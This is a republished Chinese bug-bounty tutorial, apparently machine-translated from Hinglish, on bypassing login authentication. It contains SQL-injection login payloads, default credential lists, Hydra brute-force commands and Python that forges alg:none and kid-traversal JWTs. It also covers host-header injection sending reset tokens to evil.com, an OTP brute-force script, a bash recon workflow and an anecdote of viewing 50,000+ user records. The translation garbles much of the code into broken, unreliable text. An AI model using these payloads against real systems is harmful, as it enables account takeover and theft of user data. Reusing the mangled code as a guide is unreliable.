绕过身份验证登录页面Ko绕过Karo、AdminBano、令牌利用Karo!(HinglishMein)

admin 2026-04-28 06:13:00 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细介绍了多种身份验证绕过技术,包括SQL注入登录绕过、默认凭据利用、JWT令牌攻击(算法混淆、弱密钥破解、头部注入)、密码重置漏洞(可预测令牌、主机头注入)以及2FA绕过(响应操纵、OTP暴力破解)。文档提供了具体攻击方法和可操作工具建议,旨在帮助渗透测试人员识别高危漏洞。 综合评分: 72 文章分类: 渗透测试,WEB安全,漏洞分析,红队,安全工具


cover_image

绕过身份验证登录页面 Ko 绕过 Karo、Admin Bano、令牌利用 Karo!(Hinglish Mein)

haidragon haidragon

安全狗的自我修养

2026年4月27日 14:54 湖南

在小说阅读器读本章

去阅读

官网:http://securitytech.cc

绕过认证登录页面,成为管理员,利用令牌漏洞!

今天学什么?

  • 了解身份验证与授权的区别
  • SQL注入绕过登录
  • 默认凭据是唾手可得的漏洞
  • JWT令牌攻击达到精英级别
  • 密码重置漏洞导致账户接管
  • 2FA绕过技术
  • 响应操纵 Burp 技巧
  • 完整的漏洞赏金工作流程

为什么这么重要? 身份验证绕过指的是无需密码即可直接登录! 获取管理面板访问权限、窃取任何用户账户、破解双因素认证——所有这些都属于身份验证绕过的范畴!在漏洞赏金计划中,最高等级的高危赏金往往就在这里,金额从1,000美元到20,000美元以上不等!

理解身份验证与授权的区别

1. 认证=“你是谁?”
2. →登录——验证身份

4. →用户名+密码

6. →令牌、一次性密码、生物识别授权=“你有什么权利?”

8. →登录后——可获得哪些权限

10. →管理员?用户?版主?

12. → IDOR,权限提升本文中:

14. →身份验证绕过=直接跳过登录!
15. →输入有效凭证以进入!

第一部分:SQL注入登录绕过

经典SQL注入绕过:

1. --普通登录查询:

3. 选择*来自用户

5. 其中,用户名为‘admin’且密码为‘pass123’——SQL注入有效载荷的用户名为:
6. 用户名:admin'--

8. 密码:任意——会触发查询禁令:

10. 选择 * 来自用户

12. WHERE username='admin'--' AND password='anything'

14. ——密码检查已完成!管理员已登录!——更多有效载荷:

16. admin' OR '1'='1'--

18. admin' OR 1=1--

20. ' OR 1=1--

22. '或'x'='x

24. 管理员'/*

26. ' 或 1=1#

28. 管理员') 或 ('1'='1

高级SQL注入登录绕过:

1. --电子邮件字段中:

3. ' OR 1=1 LIMIT 1--

5. ' OR '1'='1' LIMIT 1 OFFSET 0----用户名字段:

7. 管理员'--

9. 管理员——

11. ' UNION SELECT 1,'admin','password',1----也请在密码字段中进行测试:

13. 用户名:admin

15. 密码:' OR '1'='1--两个字段:

17. 用户名:' OR 1=1--

19. 密码:' OR 1=1--

第二部分:默认凭据,最简单!

1. # 常用默认凭据:

3. 管理员:管理员
4. 管理员:密码
5. 管理员:admin123
6. 管理员:1234
7. 管理员:12345678
8. 管理员:管理员
9. 根:根
10. 根:toor
11. 测试:测试
12. 客人:客人
13. 用户:user123
14. 管理员:让我进去
15. 管理员:欢迎
16. 管理员:更改密码#设备/服务特定:
17. # 路由器:管理员:管理员,管理员:密码
18. # Jenkins:admin:admin
19. # Tomcat:tomcat:tomcat,admin:admin
20. # phpMyAdmin:root:(空)
21. # MongoDB:(默认无认证!)
22. # Redis:(默认无认证!)# 工具 — 默认凭据暴力破解:
23. hydra -L users.txt -P passwords.txt \
24. target.com HTTP POST 表单 \

26. “/login:username=^USER^&password=^PASS^:无效”

第三部分:JWT令牌攻击,顶级水平!

JWT = JSON Web Token,用于现代应用程序的身份验证

JWT 结构:

1. 头部.负载.签名eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiSGFja2VyTUQiLCJyb2xlIjoidXNlciJ9.abc123解码后:

3. 头部:{"alg":"HS256","typ":"JWT"}
4. 有效载荷:{"user":"HackerMD","role":"user","exp":1234567}

6. 签名:HMAC-SHA256(头部+负载,密钥)

攻击1:算法无经典!

1. # 如果alg=none,则不验证服务器签名!# 原始令牌:

3. 头部:{"alg":"HS256"}
4. 有效载荷:{"user":"黑客","role":"用户"}#修改后的令牌:

6. 标头:{"alg":"none"}
7. 有效载荷:{"user":"hacker","role":"admin"}←管理员!

9. 签名:(空)#编码并发送!

11. 导入 base64, jsonheader = base64.b64encode(

13. json.dumps({"alg":"none","typ":"JWT"}).encode()
14. ).rstrip(b'=').decode()payload = base64.b64encode(

16. json.dumps({"user":"hacker","role":"admin"}).encode()
17. ).rstrip(b'=').decode()令牌= f"{头部}.{负载}."

19. 打印(令牌)

21. # 服务器未验证 → 管理员权限!🔴

攻击2:HS256与RS256混淆

1. RS256 =非对称(公钥+私钥)

3. HS256 =对称(相同密钥)攻击:

5. →服务器使用RS256密钥

7. →公钥已公开提供

9. →攻击者:“用HS256签名——用公钥!”
10. →服务器使用公钥验证卡片→匹配!工具— JWT编辑器(Burp扩展):

12. 1.令牌拦截卡

14. 2. JWT编辑器→“攻击”→“HMAC密钥混淆”
15. 3.粘贴公钥

17. 4.修改负载→角色:“管理员”

19. 5.签名并→发送!

攻击3:弱密钥暴力破解

1. # JWT 密钥太弱,可能被破解!# 工具:hashcat

3. hashcat -a 0-m 16500 \

5. “eyJhbGci...TOKEN…”

7. /usr/share/wordlists/rockyou.txt# 工具:jwt-cracker

9. npm 安装-g jwt-cracker

11. jwt-cracker “TOKEN” rockyou.txt# 工具:john

13. 约翰——字典文件=rockyou.txt——格式=HMAC-SHA256 jwt.txt# 密钥找到了吗?

15. # 签署你的代币 → 管理员!

攻击4:JWT头部注入(kid参数)

1. // “kid” = 密钥 ID — 由服务器使用密钥 kis 进行验证?// 正常:

3. {"alg":"HS256","kid":"key1","typ":"JWT"}// 攻击——kid中的SQL注入:

5. {"alg":"HS256","kid":"' UNION SELECT 'attacker_secret'--","typ":"JWT"}

7. // 服务器使用攻击者的密钥进行验证!// 攻击——儿童路径遍历:
8. {"alg":"HS256","kid":"../../dev/null","typ":"JWT"}

10. // /dev/null = 空字符串 → 请勿填写密钥!// 制造令牌:

12. 导入jwt

14. 令牌= jwt.encode(

16. {"用户":"管理员","角色":"管理员"},

18. "",# 空密钥

20. 算法=“HS256”,

22. headers={"kid":"../../dev/null"}

24. )

攻击5:JWT过期时间篡改

1. # 修改已过期的令牌:

3. # 更改 exp 声明,导入 base64、json# 解码原始有效载荷

5. payload ={"user":"hacker","role":"user","exp":1000000000}#未来设置 exp

7. payload["exp"]=9999999999# 2286年!

9. payload["role"]="admin"# 编码后(签名无效——但请测试!)

11. new_payload = base64.b64encode(

13. json.dumps(数据).encode()

15. ).rstrip(b'=').decode()#如果服务器未正确验证→绕过!

第四部分:密码重置漏洞——账户接管链!

缺陷1:可预测的重置令牌

1. # 弱重置令牌生成:

3. import time, hashlib# 公司代码(存在漏洞):

5. 令牌= hashlib.md5(

7. str(time.time()).encode()# 时间戳!
8. ).hexdigest()#攻击:

10. # → 发送重置请求 → 记录时间

12. # → 针对美国时间附近的时间戳进行暴力破解

14. # → 生成令牌

16. # → 账户被盗!🔴

缺陷2:重置令牌重复使用

1. 测试卡罗:

3. 1.密码重置请求卡罗

5. 2.我收到了一封邮件里的链接→/reset?token=ABC123

7. 3.使用令牌→更改密码✅

9. 4.再次使用Wahi令牌→?token=ABC123

11. 5.如果工作正常→代币未失效!🔴

13. 6.旧令牌有效→账户访问!

缺陷3:主机头注入,令牌被盗!

1. # 普通重置请求:

3. POST /忘记密码 HTTP/1.1

5. 主机:target.com

7. 电子邮件=受害者@email.com# 已修改 — 更改主机头:

9. POST /忘记密码 HTTP/1.1

11. 主持人:evil.com

13. 电子邮件=受害者@email.com# 以使服务器生成带有主机头的链接:

15. # 重置邮箱中的链接:

17. # http://evil.com/reset?token=ABC123 ← 攻击者的域名!

19. # 受害者点击 → 令牌将归攻击者所有!🔴# 变体:

21. 主机:target.com

23. X-Forwarded-Host: evil.com主机:target.com

25. X-主机:evil.com

缺陷4:响应中的重置令牌

1. # 发送重置请求:

3. POST /api/忘记密码

5. {"email":"[email protected]"}#响应检查:

7. {

9. 消息:重置邮件已发送,

11. “token”:“abc123重置令牌”,←响应中的令牌!😱

13. “状态”:“成功”

15. }#令牌在响应中!
16. # 不需要受害者的电子邮件!

缺陷5:通过重置进行用户名/电子邮件枚举

1. 测试卡罗:

3. →[email protected]

5. 响应:“重置链接已发送!”(200 OK)→[email protected]

7. 响应:“未找到电子邮件!”(404)→不同响应=用户枚举!
8. →生成有效邮箱列表→针对性攻击!

第五部分:双重身份验证绕过技巧

旁路1:直接访问端点

1. 常规双因素认证流程:

3. /登录→凭据→/2FA验证→/仪表板绕过:

5. 使用凭据登录→跳过2FA验证

7. 直接/仪表板访问!

9. 如果服务器未完成双因素认证,就直接跳过→绕过!🎯

旁路2:OTP暴力破解

1. # 4位一次性密码 = 10,000种组合

3. # 6位一次性密码 = 1,000,000种组合

5. # 没有限制?→ 猛攻!# Burp Intruder:

7. POST /验证验证码

9. {"otp":"§0000§"}#载荷:数字0000-9999

11. # 攻击类型:狙击手

13. # 速率:检查是否存在限制# Python脚本:

15. import requestsfor otp in range(0,10000):

17. r = requests.post(

19. “https://target.com/verify-otp”

21. json={"otp": f"{otp:04d}"},

23. cookies={"session":"YOUR_SESSION"}

25. )

27. 如果“success”在r.text中或r.status_code ==200:

29. print(f"🔴 找到 OTP:{otp:04d}")

31. 中断

绕过方法3:OTP重复使用

1. 1.接收一次性密码→使用→登录✅

3. 2.重新尝试一次性密码

5. 3.如果工作正常→ OTP 未失效!
6. 4.旧一次性密码有效→绕过双因素认证!

绕过4:响应操纵Burp技巧!

1. # 验证双因素认证——OTP错误:

3. POST /验证双因素认证

5. {"otp":"000000"}响应(失败):

7. {"success":false,"message":"无效的OTP"}#在Burp中拦截响应

9. # 将 false → true:

11. {"success":true,"message":"无效的OTP"}#转发卡罗→服务器已接受!🎯

13. # 2FA绕过!

绕过方法5:备用代码滥用

1. 备份代码查找:

3. →个人资料设置中包含备份代码

5. →在API响应中暴露?

7. GET /api/user/settings →{"backup_codes":["123456","789012"]}

9. →备份代码使用karo →绕过2FA!

第6部分:响应操纵通用绕过!

Burp Suite 的响应修改功能简直太神奇了!

技术1:状态码变更

1. # 登录失败响应:

3. HTTP/1.1401未授权

5. {"error":"无效的凭据","success":false}#Burp中拦截(响应):

7. 401→200更改 karo

9. 将false→true更改#前进→如果能正常工作,则服务器端验证较弱!

技术2:JSON响应修改

1. # 登录失败:

3. {"已认证":false,"角色":"无","重定向":"/登录"}#修改 karo:

5. {"authenticated":true,"role":"admin","redirect":"/admin"}#转发→管理员仪表板?→漏洞!

技巧3:Cookie操作

1. 以普通用户登录→获取Cookie:

3. 角色=用户;管理员=false;已认证=true修改卡罗:

5. 角色=管理员;管理员=true;已认证=true如果未进行服务器端验证→管理员权限!工具:Burp→Cookie编辑器

7. EditThisCookie(Chrome扩展程序)

第7部分:自动化测试工具

工具1:海德拉登录暴力破解

1. # HTTP POST 表单暴力破解:

3. 水螅-l 管理员 \

5. -P /usr/share/wordlists/rockyou.txt \

7. 目标网 \

9. http-POST表单 \

11. “/login:username=^USER^&password=^PASS^:凭证无效”

13. -t 30# HTTP GET 表单:

15. 水螅-L users.txt \

17. -P 密码.txt \

19. 目标网 \

21. http-获取表单 \

23. “/login?user=^USER^&pass=^PASS^:错误”

工具2:jwt_tool JWT测试

1. # 安装karo

3. git 克隆 https://github.com/ticarpi/jwt_tool

5. 切换到 jwt_tool 目录

7. pip3 安装-r requirements.txt# 用于标记分析

9. python3 jwt_tool.py 令牌#算法:无攻击

11. python3 jwt_tool.py 令牌-X a# HS256 与 RS256 混淆

13. python3 jwt_tool.py 令牌-X s -pk public.pem# 暴力破解密钥

15. python3 jwt_tool.py TOKEN -C -d wordlist.txt# 扫描所有漏洞

17. python3 jwt_tool.py 令牌-T

工具3:Nuclei 认证模板

1. # 默认凭据检查

3. 核-l targets.txt \

5. -t ~/nuclei-templates/default-logins/ \

7. -o default_creds.txt# 身份验证绕过

9. 核-l targets.txt \

11. -标签身份验证绕过,默认登录 \

13. -o auth_bypass.txt# JWT 漏洞

15. 核-l targets.txt \

17. -标签 jwt \

19. -o jwt_issues.txt

第8部分:完整精英工作流程

1. #!/bin/bash

3. # auth_bypass_hunt.shTARGET=$1
4. DIR="auth_${TARGET}"
5. mkdir -p $DIRecho “🔓认证绕过狩猎:$TARGET”
6. echo "══════════════════════════════# 第一步:登录页面 dhundho"
7. echo "🔍 查找登录页面..."
8. gau $TARGET | grep -iE \
9. 登录|注册|认证|账户|管理员|面板|
10. 仪表板|门户|wp-login|cPanel" | \
11. 欧元 > $DIR/login_pages.txt
12. echo "✅登录页面:$(wc&nbsp;-l&nbsp;<&nbsp;$DIR/login_pages.txt)"# 第二步:默认凭据测试
13. echo "🔑默认凭据..."
14. 核 -l $DIR/login_pages.txt \
15. -t ~/nuclei-templates/default-logins/ \
16. -静音 \
17. -o $DIR/default_creds.txt 2>/dev/null
18. echo "✅默认凭据:$(wc&nbsp;-l&nbsp;<&nbsp;$DIR/default_creds.txt)"# 第3步:查找JWT令牌
19. echo "🎫&nbsp;JWT&nbsp;令牌检查..."
20. 高 $TARGET | \
21. 当读取url时;做
22. response=$(curl -s "$url" -I 2>/dev/null)
23. 如果 echo "$response" | grep -qiE "eyJ[A-Za-z0-9]"; 则
24. echo "找到JWT:$url" >> $DIR/jwt_endpoints.txt
25. 菲
26. 完成# 第4步:密码重置端点
27. echo "🔄重置端点..."
28. gau $TARGET | grep -iE \
29. 忘记|重置|恢复|密码 | \
30. 欧元 > $DIR/reset_endpoints.txt# 第5步:Nuclei认证扫描
31. echo "☢️核心认证扫描..."
32. 核 -l $DIR/login_pages.txt \
33. -标签 认证,JWT,绕过认证 \
34. -静音 \
35. -o $DIR/nuclei_auth.txt 2>/dev/nullecho "══════════════════════════════"
36. echo "📊结果:"
37. echo "登录页面数量:$(wc&nbsp;-l&nbsp;<&nbsp;$DIR/login_pages.txt)"
38. echo "默认凭据:&nbsp;$(wc&nbsp;-l&nbsp;<&nbsp;$DIR/default_creds.txt)"
39. echo "JWT&nbsp;端点数量:$(wc&nbsp;-l&nbsp;<&nbsp;$DIR/jwt_endpoints.txt&nbsp;2>/dev/null)"
40. echo "重置端点:$(wc&nbsp;-l&nbsp;<&nbsp;$DIR/reset_endpoints.txt)"

42. echo "结果在:&nbsp;$DIR/"

认证绕过 Cheat Sheet

1. # ─── SQL 注入登录绕过 ───────────────────

3. 管理员'--
4. '&nbsp;OR&nbsp;1=1--
5. ' OR '1'='1'--
6. admin')&nbsp;OR&nbsp;('1'='1# ─── JWT攻击 ──────────────────────────
7. 算法:无 → 签名移除卡罗
8. HS256→RS256 &nbsp; &nbsp; &nbsp; → 使用公钥进行签名
9. 弱密钥 → 暴力破解 karo
10. 儿童注射 &nbsp; &nbsp; → SQL注入/路径遍历# ─── 两步验证绕过 ──────────────────────────
11. 直接端点 → /2fa 跳过
12. 暴力破解 &nbsp; &nbsp; &nbsp; → 检查速率限制
13. 响应操作 &nbsp; &nbsp;→ 假→真
14. OTP复用 &nbsp; &nbsp; &nbsp; &nbsp; → 相同的OTP dobara# ─── 密码重置 ──────────────────────
15. 令牌复用 &nbsp; &nbsp; &nbsp; → 旧令牌有效?
16. 主机头 &nbsp; &nbsp; &nbsp; → 恶意.com 重定向
17. 响应中的令牌 → API 泄漏
18. 枚举 &nbsp; &nbsp; &nbsp; → 用户存在检查# ─── 响应操作 ───────────────
19. 401→200 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; → 状态码变更
20. 假→真 &nbsp; &nbsp; &nbsp; &nbsp;→ JSON 修改
21. 角色=用户→管理员→Cookie编辑# ─── 工具 ────────────────────────────────
22. jwt_tool &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ JWT 所有攻击
23. 水螅 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; → 暴力破解
24. 核 - 标签 认证 → 自动化扫描

26. Burp Repeater → 手动测试

奖金影响指南

1. 🟢低(200-500美元):

3. →用户枚举

5. →弱密码策略

7. →缺失暴力破解防护🟡中等(500-1500美元):

9. →2FA绕过(低严重性)

11. →密码重置令牌复用

13. →可预测的代币🟠高(1500-5000美元):

15. →&nbsp;JWT&nbsp;算法:无→管理员访问

17. →2FA完全绕过

19. →密码重置→账户接管🔴严重(5000-20000+美元):

21. →管理员面板身份验证绕过

23. →大规模账户劫持

25. →&nbsp;JWT&nbsp;→权限提升→远程代码执行

今天的作业

1. # 1. JWT游乐场:

3. # https://jwt.io → 解码令牌

5. # 更改算法标头 → 测试# 2. 安装并练习 jwt_tool:

7. git&nbsp;克隆&nbsp;https://github.com/ticarpi/jwt_tool

9. cd jwt_tool&nbsp;&&&nbsp;pip3 install&nbsp;-r requirements.txt# PortSwigger JWT 实验室(免费!):

11. # https://portswigger.net/web-security/jwt

13. # 完成所有实验室!# 3. WebGoat 身份验证实验室:

15. docker run&nbsp;-p&nbsp;8080:8080&nbsp;webgoat/goat-and-wolf

17. # 认证缺陷部分# 4. 测试漏洞赏金:

19. # 查找Koi应用 → 登录 → JWT令牌?
20. # 分析jwt_tool

22. # 重置流程测试并注入主机标头

快速复习

1. 🔓身份验证绕过=使用有效凭据登录

3. 🗄️&nbsp;SQL注入=&nbsp;admin'-- 登录绕过

5. 🔑 默认凭据 = admin:admin 测试卡罗!

7. 🎫 JWT &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= 算法:无,密钥较弱,

9. RS256混淆,儿童注射

11. 🔄 重置缺陷 = 令牌复用、主机头、

13. 响应中的标记

15. 📱 2FA绕过 = 直接访问,暴力破解,

17. 响应操纵

19. 🎭 响应操纵 = 在Burp中将false→true!

21. 🤖 工具 &nbsp; &nbsp; &nbsp; &nbsp;= jwt_tool、hydra、nuclei

23. 💰 最高赏金 = 管理员绕过 = 5000-20000美元以上!

我的谈话……

我在一个初创公司的管理面板上分析了JWT令牌:

1. python3 jwt_tool.py eyJhbGci...TOKEN...

输出:

1. [+]解码后的标记:

3. 头部:{"alg":"HS256","typ":"JWT"}
4. 有效载荷:{"user_id":1337,"role":"用户","exp":9999999999}

缅因州尝试了 alg:none攻击:

1. python3 jwt_tool.py&nbsp;令牌-X a

新令牌:

1. eyJhbGciOiJub25lIn0.eyJ1c2VyX2lkIjoxMzM3LCJyb2xlIjoiYWRtaW4ifQ.

将 role:"user"改为 role:"admin"后发送!回复:

1. {"message":"欢迎管理员!","dashboard":"/admin/users"}

管理员面板访问需设置密码!😱

在完整的管理面板中查看50,000+ 用户记录、财务数据和内部分析!赏金:7,500美元,至关重要!🎉

教训:千万别盲目信任JWT令牌,用 **jwt_tool**扫描一下, **alg:none**至今仍在2026年存在呢! 在另一篇文章中,我们将学习如何对现代应用的骨干——REST API、GraphQL 和隐藏端点——进行API 安全测试!🔥

  • + 公众号:安全狗的自我修养

  • vx:2207344074

  • http://gitee.com/haidragon

  • http://github.com/haidragon

  • bilibili:haidragonx


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全狗的自我修养 haidragon haidragon《绕过身份验证登录页面 Ko 绕过 Karo、Admin Bano、令牌利用 Karo!(Hinglish Mein)》

评论:0   参与:  0